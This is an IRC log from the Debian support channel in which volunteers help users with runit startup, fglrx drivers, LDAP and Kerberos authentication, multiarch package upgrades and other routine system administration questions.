| 13:29.10 | babilen | dpkg: tell ispirto -about bat |
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| 13:29.59 | ispirto | babilen, http://pastebin.com/raw.php?i=iDPy5CBA |
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| 13:30.01 | babilen | dekiss: I know nothing about the capabilities of a Windows installation disk. Maybe ##windows can help you with that. |
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| 13:30.37 | babilen | ispirto: Please use http://paste.debian.net, http://refheap.com or http://paste.ubuntu.com and not pastebin.com as the latter mangles input and does a number of other suboptimal things. |
| 13:31.08 | ispirto | babilen, http://paste.debian.net/11313/ |
| 13:31.16 | babilen | ispirto: You also didn't provide the output of "apt-cache policy" and "apt-cache policy ia32-libs" as instructed ... Please run those commands and paste their output along with your sources.list to http://paste.debian.net |
| 13:31.42 | aguitel | what twitter client is working under debian ? |
| 13:31.46 | orange_ | Can anyone help me get tor working? I have never used it on Debian before and the guides I found haven't worked thus far. |
| 13:31.53 | babilen | dpkg: tell aguitel -about search |
| 13:31.58 | ispirto | babilen, http://paste.debian.net/11314/ |
| 13:32.08 | petn-randall | aguitel: All of them work. |
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| 13:32.36 | aguitel | petn-randall, turpial and gwibber is not working |
| 13:32.41 | petn-randall | aguitel: Check out http://packages.debian.org and pick your favourite one. |
| 13:33.03 | petn-randall | aguitel: Have you got squeeze or wheezy? |
| 13:33.10 | aguitel | stable |
| 13:33.14 | jelly | heh |
| 13:33.21 | aguitel | wheezy |
| 13:33.26 | babilen | dpkg: tell ispirto about proxmox |
| 13:33.50 | moxie | dpkg: tell babilen about xomxorp |
| 13:34.10 | babilen | moxie: Please don't |
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| 13:34.27 | moxie | sorry i meant ispirto |
| 13:34.33 | moxie | dpkg: tell ispirto about xomxorp |
| 13:34.42 | jelly | ... |
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| 13:35.43 | petn-randall | aguitel: Define "not working". What does that specifically mean? The program doesn't start? Segfaults? Exploded and killed your cat? |
| 13:36.28 | babilen | NOO, not the cat!! |
| 13:36.34 | jelly | that would be a useless use of cat |
| 13:36.36 | aguitel | my dog |
| 13:36.57 | petn-randall | Caused global warming? |
| 13:37.35 | petn-randall | If Debian's gwibber did that, it would be a RC bug. >:( |
| 13:38.09 | aguitel | petn-randall, in turpia say: authentication error |
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| 13:38.47 | aguitel | people from ubuntu say polly is working |
| 13:39.25 | petn-randall | aguitel: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=712519 ← turpial broke a few days ago, I bet the maintainer is on it. |
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| 13:41.37 | introom | is it meaningful for me to set passphrase for a 32bit rsa |
| 13:41.38 | introom | ? |
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| 13:41.48 | Aktau | Hey guys |
| 13:41.51 | Aktau | I just installed runit |
| 13:41.52 | petn-randall | aguitel: How did gwibber not work for you? |
| 13:42.06 | Aktau | And it works great after I manually run /usr/sbin/runsvdir-start |
| 13:42.18 | Aktau | However, I can't get it to start on boot |
| 13:42.25 | petn-randall | introom: Context? |
| 13:42.30 | Aktau | The runit package automatically puts a line in /etc/inittab |
| 13:42.34 | Aktau | But it still doesn't start |
| 13:42.37 | Aktau | What is a man to do? |
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| 13:42.45 | introom | ordinary use. github |
| 13:42.59 | jelly | Aktau: run "init q" |
| 13:43.09 | Aktau | jelly: I HAVE |
| 13:43.11 | petn-randall | introom: Are you using it for SSH? |
| 13:43.13 | Aktau | Sorry for the caps |
| 13:43.17 | jelly | Aktau: it rhymed... |
| 13:43.19 | introom | petn-randall: yes |
| 13:43.20 | Aktau | jelly: the caps were not intential |
| 13:43.37 | introom | petn-randall: I don't know the state of the art progress on hacking rsa... |
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| 13:44.06 | jelly | Aktau: dunno, I still use daemontools. Did you check the logs for init complaining? |
| 13:44.23 | Aktau | jelly: I was trying to, but I can't find any logs mentioning it :( |
| 13:44.30 | petn-randall | introom: If people get access to your SSH key, they can use the services behind it. If you put a password, you have to type it every time, but the burglars can only use your key if they get the password. You have to decide yourself. |
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| 13:45.18 | jelly | Aktau: /var/log/daemon.log: Jun 19 15:45:01 burek init: Re-reading inittab |
| 13:45.20 | Aktau | jelly: where do you think it would complain to? (sorry for my noob question but I already sudo grepped /var/log |
| 13:45.25 | introom | petn-randall: this is the thing I forget to consider. Yeah, I don't think I am so lucky that someone will hack me…. |
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| 13:45.59 | Aktau | jelly: yep, in that file I see Re-reading inittab a lot |
| 13:46.10 | Aktau | jelly: ( tried init q a lot) |
| 13:46.16 | jelly | Aktau: and nothing else? |
| 13:46.35 | Aktau | jelly: nope, some mentions of DHCP and NTP |
| 13:46.41 | safridzal | hello, can someone tell me whats wrong with my system?? I just reinstall using Debian-KDE iso cd, and until now, I still cannot make fglrx-driver works.. I'm tired of installing, rebooting (just to know that I cannot login to KDE) , reboot, purge fglrx*, rm /etc/X11/xorg.conf , reading wiki about fglrx, reinstall again, ugh.. |
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| 13:47.06 | jelly | Aktau: /var/log/daemon.log:Jun 19 15:45:06 burek init: Id "T3" respawning too fast: disabled for 5 minutes ? |
| 13:47.10 | safridzal | oh, and I use testing repo |
| 13:47.27 | Aktau | jelly: nope, just vim searched for that |
| 13:47.29 | jelly | Aktau: maybe runit is running now? |
| 13:47.44 | midacts | For setting up an LDAP server, is it best to tie it in with something like Kerberos, or is something like SSL sufficient? I am open on suggestions with for a good LDAP server setup. |
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| 13:47.55 | Aktau | jelly: unfortunately no, I can't find it with pgrep and my ssh tunnel is not being made. If I run it manually everything works fine |
| 13:48.05 | Aktau | jelly: that's the confusing part |
| 13:48.11 | petn-randall | midacts: It runs perfectly fine alone, it depends on what else you need. |
| 13:48.24 | Aktau | jelly: I could understand if I set something up badly but it just runs when I do /usr/sbin/... manually |
| 13:48.31 | jelly | Aktau: maybe it changes its argv[0] for some reason... ps -fe |grep runit ? |
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| 13:49.14 | midacts | petn-randall, I was just worried that ldap by itself transfers passwords unencrypted. that is why I had seen it tied in with kerberos. Is ldap secure by itself? or does it need something like kerberos to be secure |
| 13:49.16 | jelly | Aktau: or since it's daemontools-like, ps -fe | grep runsv |
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| 13:49.30 | Aktau | jelly: I'll check it out |
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| 13:50.01 | safridzal | now I'm trying to add sid as additional repo to see if there's package upgrade about fglrx.. |
| 13:50.25 | petn-randall | midacts: LDAP can do SSL. |
| 13:50.35 | Aktau | jelly: definitely nothing there, how strange |
| 13:50.43 | petn-randall | midacts: More specifically, slapd from openldap can do SSL. |
| 13:51.08 | tremon | midacts: it depends on why you're settings up an ldap server |
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| 13:51.15 | jelly | Aktau: I seem to have it installed and there's a root 6004 1 0 Jun03 ? 00:00:07 runsvdir -P /etc/service log: ..................................[...] |
| 13:51.16 | midacts | petn-randall, is slapd with SSL secure enough? or would you suggest something more secure? |
| 13:51.29 | midacts | tremon, mainly just for centralized authentication |
| 13:51.43 | Aktau | jelly: yea that's what appear when I start it manually |
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| 13:51.55 | midacts | tremon, i guess almost like Active Directory is used (i am not really sure what else LDAP can be used for) |
| 13:51.59 | Aktau | jelly: ps -fe | grep run, returns nothing |
| 13:52.22 | tremon | midacts: then I'd use kerberos too. It's not that ldap can't do auth, but kerberos allows you (requires you) to authenticate the services too |
| 13:52.46 | Aktau | jelly: could it be because I'm running X.org? |
| 13:52.53 | jelly | Aktau: does your inittab line look anything different from SV:123456:respawn:/usr/sbin/runsvdir-start |
| 13:53.08 | tremon | midacts: ldap can be used as a generic directory, e.g. as a company addressbook |
| 13:53.12 | Aktau | jelly: nope, that's the one, I didn't change anything from the default install |
| 13:53.35 | jelly | Aktau: that's the extent of my runit knowledge I'm afraid |
| 13:53.56 | petn-randall | midacts: Unless some agency snuck in a backdoor, SSL is pretty secure and can only be broken by a large amount of CPU power and time. Depends on how paranoid you are. |
| 13:53.58 | Aktau | jelly: no problem at all, I really appreciate you trying to help :) |
| 13:54.11 | Aktau | jelly: it's working now |
| 13:54.19 | Aktau | jelly: I moved the line in /etc/inittab up |
| 13:54.33 | Aktau | jelly: do you know why that even matters? |
| 13:54.33 | jelly | Aktau: which editor do you use to edit inittab? |
| 13:54.40 | Aktau | jelly: sudo vim |
| 13:54.54 | petn-randall | midacts: Though if you're that paranoid you shouldn't be asking random people over IRC for advice ;) |
| 13:54.56 | midacts | petn-randall, I am basically doing this for a home network, and for learning. I just wanted to set it up the best way I can in case i ever had to set it up in a production environment. |
| 13:55.16 | jelly | Aktau: vim's ok. Some editors tend to not output the line delimiter \n for the last line |
| 13:55.18 | midacts | petn-randall, Rule #3: Never trust nobody |
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| 13:55.45 | Aktau | jelly: yea, had that before :). At any rate I hadn't changed /etc/inittab before, it was purely what apt-get had done |
| 13:55.50 | petn-randall | jelly: Which makes e.g. cron ignore the last line ... :( |
| 13:55.56 | Aktau | jelly: ofcoure, the line was at the end of the file, followed by a comment |
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| 13:55.58 | midacts | tremon, gotcha, so tying kerberos in with LDAP is the way to go. Would you suggest that over used ldpa with ssl? |
| 13:55.58 | jelly | petn-randall: quietly! :-) |
| 13:56.02 | Aktau | jelly: so it should've worked |
| 13:56.17 | petn-randall | jelly: Indeed! |
| 13:56.23 | Aktau | jelly: but somehow moving it more to the beginning made it work, which is… not cool |
| 13:56.32 | jelly | Aktau: was there a second SV: line somewhere in there? |
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| 13:57.15 | Aktau | jelly: just looked, nope |
| 13:57.23 | safridzal | hello, can someone tell me whats wrong with my system?? I just reinstall using Debian-KDE iso cd, and until now, I still cannot make fglrx-driver works.. I'm tired of installing, rebooting (just to know that I cannot login to KDE) , reboot, purge fglrx*, rm /etc/X11/xorg.conf , reading wiki about fglrx, reinstall again, ugh.. |
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| 13:57.29 | Aktau | jelly: since it _does_ work on my headless server, I'm starting to blame X |
| 13:57.30 | tremon | midacts: yes, any day. For most services, kerberos (gss) authentication isn't that hard to setup. I've had more trouble implementing cyrus sasl than gssapi |
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| 13:57.53 | jelly | Aktau: I have kdm and X running on the machine I pasted stuff from. |
| 13:58.01 | Aktau | jelly: ok |
| 13:58.17 | petn-randall | safridzal: You shouldn't reinstall all the time just because something doesn't work. It's a waste of your time. Better debug the problem and try to fix that. |
| 13:59.32 | safridzal | petn-randall: well, im using LMDE before, and I just think that using Debian from the start would be great.. |
| 13:59.41 | babilen | dpkg: tell safridzal about fglrx dkms |
| 14:00.21 | safridzal | on LMDE, i'm using debian testing repo, and fglrx works just fine.. I still cannot understand why it didnt work now |
| 14:00.28 | midacts | tremon, Awesome! I wanted to make sure that was the best approach. Do you know of any good 'how tos' on setting that up? ive been using this one: http://www.linux-mag.com/id/4738/ (he also uses ssl with ldap- which im not sure if needs to be done). |
| 14:00.50 | babilen | safridzal: See also http://wiki.debian.org/ATIProprietary -- but note that many users quite happily use the radeon driver as it provides hardware acceleration too. (see "/msg dpkg radeon" for further information) |
| 14:01.25 | babilen | safridzal: It should work just fine, but please make sure that you follow our recommended installation instructions. If you run into problems then paste the log of that installation along with your /var/log/Xorg.0.log to http://paste.debian.net |
| 14:02.00 | Aktau | jelly: found out I have to place it before the l0, l1, … lines, otherwise it simply does not work |
| 14:02.10 | Aktau | jelly: that's really annoying |
| 14:02.25 | safridzal | babilen: thanks, but I've read that wiki page several times.. didnt work.. wait, i'll look for the log |
| 14:02.49 | petn-randall | safridzal: If you mix repos from different distros it's pure *chance* that your system is still working. 80% of all broken systems getting debugged in #debian result from mixing repos. |
| 14:02.53 | jelly | Aktau: that makes no sense. Perhaps you have some other crap in the file that confuses the parser |
| 14:03.16 | tremon | midacts: http://www.debian-administration.org/articles/570 and http://www.debian-administration.org/articles/585, mostly. I'm sure I've used other resources too but these are in my bookmarks |
| 14:03.50 | petn-randall | midacts: http://debian-handbook.info/ is also a good primer, not sure if you topic specifically covered. |
| 14:04.36 | babilen | safridzal: Yeah, please run "dpkg-reconfigure fglrx-driver" and show me the output along with your sources.list, /var/log/Xorg.0.log and /etc/X11/xorg.conf.d/20-fglrx.conf on http://paste.debian.net |
| 14:04.38 | midacts | tremon && petn-randall, Is it okay to run ldap and kerberos from the same server? |
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| 14:05.16 | safridzal | babilen: so i should install fglrx again? because i've purge it |
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| 14:05.18 | petn-randall | midacts: Sure, why not? |
| 14:05.22 | safridzal | kay, installing right now |
| 14:05.47 | babilen | safridzal: I don't know -- If you want fglrx then, yes, you have to install it. |
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| 14:06.13 | babilen | safridzal: Personally I would use the radeon driver and simply make sure that firmware-linux-nonfree and libgl1-mesa-dri are installed. |
| 14:06.42 | Aktau | jelly: I know it makes no sense, but it's the behaviour I see. I wasn't managing or altering /etc/inittab before, standard debian |
| 14:06.52 | tremon | midacts: also, http://web.mit.edu/kerberos/krb5-1.6/krb5-1.6.3/doc/krb5-admin.html#Configuring-Kerberos-with-OpenLDAP-back_002dend |
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| 14:07.25 | safridzal | babilen: the radeon driver cooking my laptop, its 90 c now.. my previous system, using fglrx, its about ~65 C |
| 14:07.54 | midacts | tremon, Awesome! Integrating the two together is the part that I am having problems with. Setting up kerberos on its own or slapd was not as difficult |
| 14:08.16 | midacts | Thank your for all your help and replies. |
| 14:08.27 | petn-randall | safridzal: 90°C?! Shouldn't the temperature shutoff turned off you laptop by now? |
| 14:08.43 | babilen | safridzal: Either way: You have to install fglrx if you want to use it. |
| 14:08.50 | safridzal | petn-randall: well, the critical is 92 :D |
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| 14:09.06 | blz37 | Err http://http.us.debian.org/debian/ unstable/main libsvn1 amd64 1.7.9-1+nmu1 |
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| 14:09.18 | blz37 | 404 Not found |
| 14:09.23 | midacts | tremon, would you recommend having to use ldap with ssl if kerberos is implemented iwht ldap |
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| 14:09.32 | blz37 | <PROTECTED> |
| 14:09.37 | themill | blz37: when was the last time you ran "apt-get update"? And why are you running sid? |
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| 14:10.39 | jelly | Aktau: nod |
| 14:10.48 | blz37 | themill, update was two weeks ago. I needed fsharp in sid. |
| 14:10.56 | blz37 | will try update |
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| 14:12.02 | irontux | do you use debian in multiarchitecture (i386 and amd64)? |
| 14:12.28 | babilen | irontux: Assume "yes" and ask your real question |
| 14:12.51 | tremon | midacts: depends on your security requirements. As long as you're serving public data with ldap the only reason is server authentication, and iirc you can configure part of the dit to be accessible only through ldapi (so, local socket). |
| 14:12.54 | petn-randall | blz37: Don't mix repositories, it'll break your system. Especially with sid. |
| 14:12.59 | Aktau | jelly: I see something strange here though: # normally not reached, but fall through in case of emergency |
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| 14:13.29 | babilen | safridzal: Are you planning to provide the information I asked for? |
| 14:13.36 | tremon | midacts: but if you're going to serve the kerberos entries over the network, or start storing passwords/doing authentication with ldap, you probably want tls/ssl |
| 14:13.43 | Aktau | jelly: could that be it? |
| 14:13.57 | jelly | Aktau: no, that's normal |
| 14:14.10 | jelly | (that and the z6 line it refers to) |
| 14:14.31 | Aktau | jelly: oh, ok, thought I had it :). It wouldn't have made sense anyway, my servers inittab is the same and it doesn't have this problem |
| 14:15.13 | safridzal | babilen: wait, still copying the log |
| 14:15.16 | safridzal | sorry |
| 14:15.27 | midacts | tremon, okay great. Thanks again for all your help. |
| 14:15.47 | babilen | safridzal: it's okay .. just wanted to know if you are working on it or not :) |
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| 14:17.23 | chankey | Hi, I have a VPS with debian installed. I made a small app in python. It's working fine on the public IP. Now I have a domain. I want to map it to my VPS' ip. How can I do that? In my domain provider I added nameserver (by reverse DNS of my IP in /resolv.conf I got the nameserver). Now what else should I do? Do I need to set up DNS on VPS? How to do that? |
| 14:18.07 | irontux | babilen, problem with dependies. When I update ia32-libs (to 1:0.4 version). wants to remove me some system packages.If I add I386 packages, the system install a lot of packages xxx-i386. |
| 14:18.18 | safridzal | babilen: http://paste.debian.net/11322/ |
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| 14:18.24 | babilen | dpkg: tell irontux -about bat |
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| 14:19.14 | safridzal | babilen: i've instaled fglrx-driver again, run aticonfig --initial, but not yet reboot, is that okay? |
| 14:19.53 | babilen | safridzal: Please don't use aticonfig, but follow the instructions on http://wiki.debian.org/ATIProprietary and create a minimal /etc/X11/xorg.conf.d/20-fglrx.conf -- Please remove your current /etc/X11/xorg.conf and make sure you have /etc/X11/xorg.conf.d/20-fglrx.conf |
| 14:21.21 | safridzal | babilen: working on it, wait :D |
| 14:21.50 | babilen | safridzal: Please also note that testing is not support here, but in #debian-next on irc.oftc.net and I furthermore wouldn't recommend to use deb-multimedia. Once you configured fglrx as detailed earlier reboot and check if it is working. |
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| 14:22.37 | jelly | are there tools to automate backports building when a newer source appears in sid or testing? |
| 14:23.08 | babilen | jelly: apt-src maybe? |
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| 14:23.29 | babilen | not sure if it is able to help with that usecase too |
| 14:24.33 | jelly | ok then, are there ready tools to automate detection of a newer version appearing in sid or testing? |
| 14:25.22 | safridzal | babilen: eh? well, sorry, didnt know :D.. kay, will restart now, brb.. |
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| 14:25.27 | Naphatul | does sysvinit have something like systemd-analyze? |
| 14:25.34 | jelly | Naphatul: what does it do? |
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| 14:25.57 | Naphatul | jelly: it gives you an overview of how long everything took |
| 14:26.29 | Naphatul | how long the boot proccess took and what used the most time i mean |
| 14:26.31 | irontux | babilen, http://pastebin.ca/2402421 |
| 14:26.42 | petn-randall | Naphatul: AFAIK there isn't. If you care about boot up times, use systemd ;) |
| 14:26.50 | babilen | jelly: Can't you simply use "apt-src upgrade" ? |
| 14:27.04 | jelly | Naphatul: no, it does not. there's bootchart... |
| 14:27.15 | babilen | dpkg: tell irontux -about localised errors |
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| 14:27.56 | jelly | babilen: no idea. I don't want to install anything locally, just build it |
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| 14:28.00 | babilen | irontux: Please also note that the <bat> factoid our bot sent you asks for the output of "apt-cache policy" and "apt-cache policy ia32-libs" -- Please also provide additional information about what you are doing and when you run into this. |
| 14:28.30 | babilen | jelly: Ah, okay |
| 14:28.43 | Naphatul | jelly: bootchart? |
| 14:29.01 | babilen | irontux: fwiw, that output looks quite alright. What is the exact problem? |
| 14:29.10 | jelly | Naphatul: apt-cache show bootchart (or google it) |
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| 14:30.19 | Naphatul | thanks |
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| 14:31.13 | jelly | it was very likely an inspiration for that systemd feature |
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| 14:34.31 | irontux | I am the first time to upgrade and the first time I see the multiarch upgrade (a lot of packages called xxx:i386) . I ask for not made error. If this is normal I proceed in the upgrade. Sorry for not localisation error. Next time I know this. Thankyou very much |
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| 14:34.59 | jelly | irontux: it's normal |
| 14:35.14 | jelly | !it |
| 14:35.15 | dpkg | Ciao, vai su #debian-it per ricevere aiuto in italiano. Italian Speakers: Please use #debian-it, there you will get much more help. |
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| 14:40.02 | Eduard_Munteanu | Hi. Is there a sane way to disable apt-get from auto-starting services after installing them, something which doesn't involve hacking up policy-rc.d? |
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| 14:40.22 | Eduard_Munteanu | Maybe some configuration for apt-get? |
| 14:40.36 | themill | Eduard_Munteanu: policy-rc.d *is* the way of doing that. /msg dpkg policy-rc.d |
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| 14:41.08 | unr3al011 | any one here experienced with webcrawlers and can give some throughput information? |
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| 14:41.28 | Eduard_Munteanu | Ah, I thought it was a hack or something. |
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| 14:43.20 | mumpitzel | I'm looking for a simple tool (CLI preferred) which can concatenate mp4 and mkv files, just like avimerge from the transcode .deb can do. does anyone know such a tool? |
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| 14:45.59 | Eduard_Munteanu | mumpitzel: http://ffmpeg.org/trac/ffmpeg/wiki/How to concatenate (join, merge) media files |
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| 14:46.11 | Eduard_Munteanu | Should work with avconv too. |
| 14:46.37 | CalimeroTeknik | in packaging, I what should be the value of DESTDIR when using “make install DESTDIR="I have no idea what"” in a debian/rules file? |
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| 14:46.58 | mumpitzel | Eduard_Munteanu: wouldn't it reencode then? |
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| 14:47.51 | CalimeroTeknik | maybe $(CURDIR)/debian/tmp ? |
| 14:48.08 | Eduard_Munteanu | mumpitzel: the first variant seems not to, it's demuxer-level |
| 14:48.17 | mumpitzel | thank you |
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| 14:50.01 | dury | hi there channel :-) |
| 14:50.27 | Aktau | jelly: if I place it after the l2 line it doesn't work, anything before that works |
| 14:50.30 | Eduard_Munteanu | mumpitzel: in case it wasn't clear, you want the one in "Concatenation of files with different codecs" |
| 14:50.36 | Aktau | I assume I'm currently in run level 2 |
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| 14:50.56 | Aktau | jelly: do you have an idea of what might be causing that or how I might look into it? |
| 14:51.10 | dury | wish to know if Lenovo IdeaPad Z500 will be suitable for debian wheezy release? |
| 14:51.46 | jelly | Aktau: not really. Which debian release and version of sysvinit is this? |
| 14:51.56 | Aktau | jelly: debian 7 (wheezy) |
| 14:52.14 | Aktau | sysvinit 2.88dsf-41 |
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| 14:52.43 | Aktau | jelly: I have this gut feeling that something in run level 2 is blocking the init process |
| 14:52.53 | Aktau | But how and why escapes me |
| 14:52.56 | dury | which other laptops are good for debian ? |
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| 14:53.56 | jelly | Aktau: perhaps this might help: /msg dpkg bootlog |
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| 14:54.19 | mumpitzel | Eduard_Munteanu: when there are different codecs there is reencoding needed of at least one part. so it's what I really don't want. luckily it's always the same codec, timebase, bitrate,etc (at least usually) |
| 14:54.30 | Aktau | jelly: is that not similar to switching to my vt? |
| 14:55.03 | tgs3 | how to clone a VM with debian - what files to recreate that should be unique (e.g. sshd priv keys obviously) what else? deb7 |
| 14:55.05 | folivora | Hello, could someone tell me which directory is proper postfix daemon directory in debian |
| 14:55.13 | jelly | Aktau: I don't see how |
| 14:55.15 | Eduard_Munteanu | mumpitzel: hm, I see... although I thought .mkv should be able to handle it :/ |
| 14:55.44 | mumpitzel | Eduard_Munteanu: you mean sinply cp a+b = c? both are streamable afaik unlike avi, so nmaybe |
| 14:55.44 | safridzal | babilen: |
| 14:55.51 | jelly | Aktau: also, check for any custom init scripts or rc.local |
| 14:55.52 | safridzal | ah, he's gone.. |
| 14:55.54 | dury | can anyone suggest me a good and powerful laptop for debian, please? |
| 14:56.24 | studious | dury: what do you mean by powerful |
| 14:56.28 | Eduard_Munteanu | mumpitzel: more like multiple video streams in the same .mkv |
| 14:56.32 | Aktau | jelly: rc.local does start X |
| 14:56.50 | Aktau | jelly: and restarts mongodb if it went awry with the lock files after a bad reboot |
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| 14:57.17 | dury | studious: for video and graphics |
| 14:57.20 | themill | tgs3: make sure you change mac addresses on virtual network cards too; change hostname? (/msg dpkg hostname) |
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| 14:57.26 | mumpitzel | Eduard_Munteanu: I don't know how it's done. I want a single file out of several which can be played in any mkv player :) |
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| 14:57.32 | Dark_light | Anyone else experiencing random gnome freezes ? |
| 14:57.48 | petn-randall | Dark_light: Nope. |
| 14:57.58 | studious | dury: and you want to use debian for video and graphics? |
| 14:58.20 | jelly | Aktau: and there you go, some of that doesn't go into background or doesn't ever end |
| 14:58.28 | dury | Lenovo IdeaPad Z500 will be enough, studious? |
| 14:58.37 | Dark_light | petn-randall, there's an 8 page thread of people with this issue with all sorts of hw http://forums.debian.net/viewtopic.php?f=10&t=100041&hilit=gnome+freeze&start=105 |
| 14:58.57 | Aktau | jelly: that seems to be the problem, a clean rc.local doesn't give me lip |
| 14:59.14 | petn-randall | Dark_light: So either you're doing a survey, or you knew the answer already. What is it? |
| 14:59.22 | jelly | Aktau: why not use something like lightdm to start X? |
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| 14:59.38 | Aktau | jelly: however now I don't have my X session which start automatically when I boot :(. I was using su - user -c startx |
| 14:59.39 | studious | dury: what are the specs |
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| 15:00.00 | Aktau | jelly: I don't really need something like that, I want X with one user and I'd like to not use extraneous packages for that |
| 15:00.09 | Dark_light | petn-randall, survey I was just hoping someone had a fix in mind or something |
| 15:00.10 | dury | studious: well.... not really but fast... you mean Z500? |
| 15:00.21 | Aktau | jelly: if not possible, I'll use something like lightdm ofcourse |
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| 15:00.38 | jelly | Aktau: make it go into background at the very least, but using a *dm would be a cleaner approach |
| 15:00.44 | tgs3 | themill: and this is all to care about (in defeault install)? |
| 15:00.53 | Aktau | jelly: I'll try it, thanks! |
| 15:01.41 | petn-randall | Dark_light: You should gather information to debug the problem, a freeze can have hundreds of reasons, all unrelated. Does you whole system freeze? Can you still change to the terminal with ctrl+alt+F1? |
| 15:01.43 | dury | studious: http://www.theverge.com/products/ideapad-z500/6058 |
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| 15:02.15 | themill | tgs3: probably? You might care about passwords too. |
| 15:03.13 | Dark_light | petn-randall, there are more info in the thread anyhow I can still move the mouse switch to tty and restart gdm although it starts on tty8 and not 7 for some reason but I'm not sure if it's relevant, other than that it seems fairly random it can happen even while it's idling |
| 15:03.36 | dury | studious: what u reckon? |
| 15:04.31 | studious | the specs look good |
| 15:04.37 | studious | has a good video card |
| 15:04.45 | studious | and 2gb dedicated mem on the GPU |
| 15:05.37 | Aktau | jelly: nope apparently that wasn't really it. Now it's blocking on l3 |
| 15:05.53 | dury | studious: so 10 points for that laptop? |
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| 15:06.36 | dury | studious: I mean from 1 to 10 |
| 15:07.21 | tgs3 | themill: nice. I guess it's still best to manually install a debian from .iso (in VM) and then use such template to make clones by making copy of the files? the VMbuilder for debian is not fully ready to use? |
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| 15:07.52 | dury | would you suggest another one, studious? |
| 15:08.27 | studious | sorry im on a call with a customer |
| 15:08.30 | studious | bbl |
| 15:08.56 | dury | studious: similar or whatever.... ok take your time |
| 15:09.02 | Zitter | sorry, where are stored cookies in D7? tia |
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| 15:09.23 | themill | Zitter: your browser stores the cookies, not Debian. |
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| 15:10.19 | themill | tgs3: there are vmbuilding scripts out there for lxc, cloud-*, vmdebootstrap etc that can all work nicely and in an automated fashion |
| 15:10.21 | Zitter | themill, yeah... you're right. |
| 15:11.07 | themill | Zitter: the obvious question being... which browser are you using? |
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| 15:14.12 | Dark_light | petn-randall, any ideA? |
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| 15:18.10 | Adrian179 | Does anybody know how to configure CoovaChilli? |
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| 15:27.10 | Adrian179 | Does anybody know how to configure CoovaChilli? |
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| 15:30.26 | Aktau | jelly: barring some weird interplay here or there, that did solve it |
| 15:30.31 | Aktau | jelly: I'd like to thank you profusely |
| 15:30.42 | Aktau | jelly: you also solved some other problems in one fell swoop |
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| 15:37.44 | jelly | oh noes |
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| 15:38.56 | outch3 | running out of ideas to debug my machine at home... freeze randomly, tested the ram... nothing in the logs... removed the proprietary video drivers... would love to avoid a re-install but at this point... |
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| 15:39.36 | outch3 | new heat sink, new processor... |
| 15:39.38 | zerick | < outch3 > kernel update, fsck ? |
| 15:39.45 | outch3 | kernel updated to 3.x |
| 15:39.56 | outch3 | fsck clean |
| 15:40.54 | phy1729 | outch3: bring up the BIOS setting screen and see if it will still freeze |
| 15:40.57 | outch3 | the machine can be good for 15 days |
| 15:41.04 | phy1729 | if it does it means graphics is overheating most likely |
| 15:41.38 | outch3 | radeon is at 55°C |
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| 15:52.41 | blz37 | petn_randall, I have done dist-upgrade |
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| 15:53.36 | Jarris | can u lead me to a good howto vor routing/natting? i have two interfaces with one public adresse and one local adresse, now i want other local maschiens to use it as gateway... ist debian wheeye. any help would be greate, thx |
| 15:53.47 | Evropi | hey there, heard there was a party going on in here? |
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| 15:56.29 | donta | how can I use CPU utilization? |
| 15:56.35 | donta | *check CPU |
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| 15:56.49 | ChrisH | donta: top or atop |
| 15:57.58 | donta | ChrisH: the top line with the user is total? |
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| 15:58.59 | ChrisH | donta: the line starting with %Cpu(s): If you have more cpus I recommend the use of atop |
| 15:59.14 | nevyn | Jarris: apt-get install ipmasq |
| 15:59.23 | nevyn | or did that package go away?... |
| 15:59.45 | donta | ChrisH: okay thanks! I'm running a raspberrypi, so only 1 |
| 16:00.19 | nevyn | donta: doesn't the rpi have a few cores. |
| 16:00.22 | Jarris | nevyn: "Paket ipmasq ist nicht verfügbar, wird aber von einem anderen Paket |
| 16:00.22 | Jarris | referenziert." ? |
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| 16:00.51 | Jarris | nevyn: looks like it went away :) |
| 16:00.52 | jelly | !localized errors |
| 16:00.54 | dpkg | Rather than hoping that we recognise what has gone wrong from the error messages in your native language, please provide any error messages in English. You can do this by setting your locale to an English one (e.g. C) prior to running the command, e.g. «LC_ALL=C apt-get -f install» |
| 16:01.03 | donta | nevyn: I don't think so, but I've only had it 2 days... |
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| 16:01.25 | Jarris | jelly: sorry didnt mentiond that it was not english |
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| 16:01.38 | nevyn | donta: nah it's only single core.. you'd need one of the exynos based ones to get multicore arm |
| 16:01.53 | jelly | "is not available, but is referred to by another package" |
| 16:02.01 | nevyn | like the odroid-u21 |
| 16:02.04 | nevyn | like the odroid-u2 |
| 16:02.24 | donta | ah, okay |
| 16:02.31 | jelly | nevyn: I'm getting an allwinner a20, nyeh nyeh |
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| 16:03.04 | jelly | exynos is not the only affordable multicore soc |
| 16:03.21 | nevyn | yeah ok. |
| 16:03.24 | nevyn | but it is fast. |
| 16:03.28 | nevyn | and more cores. |
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| 16:03.34 | Jarris | so how do i get to know which other package i need? |
| 16:03.44 | donta | nevyn: does that run deb, or only android? |
| 16:03.51 | jelly | and the boards are above my $100 arbitrary mark |
| 16:04.16 | nevyn | I want yield on the exynos 5 stuff to get better so there's accessible big, LITTLE stuff |
| 16:05.28 | jelly | wants a pony |
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| 16:05.50 | nevyn | my new house has a french pony. |
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| 16:06.49 | nevyn | anyway... |
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| 16:13.17 | berarma | why the dch command adds "Rebuild for squeeze-backports" to the changelog when I'm backporting for Wheezy? Is that valid? |
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| 16:15.00 | jhutchins_wk | Anybody know where dhcpd stores leases? |
| 16:15.28 | jhutchins_wk | berarma: Clearly not. |
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| 16:16.27 | jelly | jhutchins_wk: /var/lib/dhcp-ish? |
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| 16:17.10 | Sevet_ | isc-dhcp-server in /var/lib/dhcpd.leases |
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| 16:19.02 | berarma | Do I simply change it by hand? Is that important for a personal backport? |
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| 16:19.11 | debian-n00b | question |
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| 16:19.41 | debian-n00b | I need to have a variable $DATE defined after boot-up .. where can I set the variable at? |
| 16:20.05 | jhutchins_wk | jelly: Yep, thanks. |
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| 16:20.16 | jhutchins_wk | Sevet_: You too. |
| 16:20.37 | jhutchins_wk | debian-n00b: In what context do you need that variable? |
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| 16:22.21 | debian-n00b | I am using $DATE as part of a path to a log file . I'm defining the var as date=$(date +%Y%m%d) |
| 16:22.47 | debian-n00b | But before I can use $DATE in a config file as part of a path I need to define it. |
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| 16:23.30 | debian-n00b | the path to the log file changes every day using the $DATE. I want to be able to set the path to the log file in my config file so it looks like /var/log/HOST/$DATE/accces.log |
| 16:23.34 | debian-n00b | something like that |
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| 16:23.55 | safeith | I installed nm-applet to i3 but now i can not edit connections by my user , i can't access any thing |
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| 16:24.22 | nevyn | safeith: are you in the netplug group? |
